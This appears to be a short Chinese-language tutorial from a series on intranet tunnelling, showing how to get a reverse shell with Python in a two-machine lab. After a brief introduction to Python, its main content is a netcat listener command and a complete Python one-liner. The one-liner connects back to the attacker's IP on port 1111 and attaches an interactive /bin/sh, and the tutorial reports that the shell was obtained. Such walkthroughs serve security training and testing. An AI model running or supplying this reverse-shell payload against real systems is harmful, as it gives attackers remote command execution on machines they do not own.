内网隧道代理技术（八）之Python 反弹Shell

Python 反弹Shell

Python介绍

Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计，作为一门叫做ABC语言的替代品。Python提供了高效的高级数据结构，还能简单有效地面向对象编程。Python语法和动态类型，以及解释型语言的本质，使它成为多数平台上写脚本和快速开发应用的编程语言，随着版本的不断更新和语言新功能的添加，逐渐被用于独立的、大型项目的开发

实验环境介绍

实验拓扑

机器名称	IP	机器
攻击机器	192.168.41.130	windows
服务器	192.168.41.132	kali

实验复现

攻击机器使用nc执行监听命令

#监听TCP
nc64.exe -lvvp 1111

实验服务器执行连接命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

查看结果，发现我们成功得到了目标服务的shell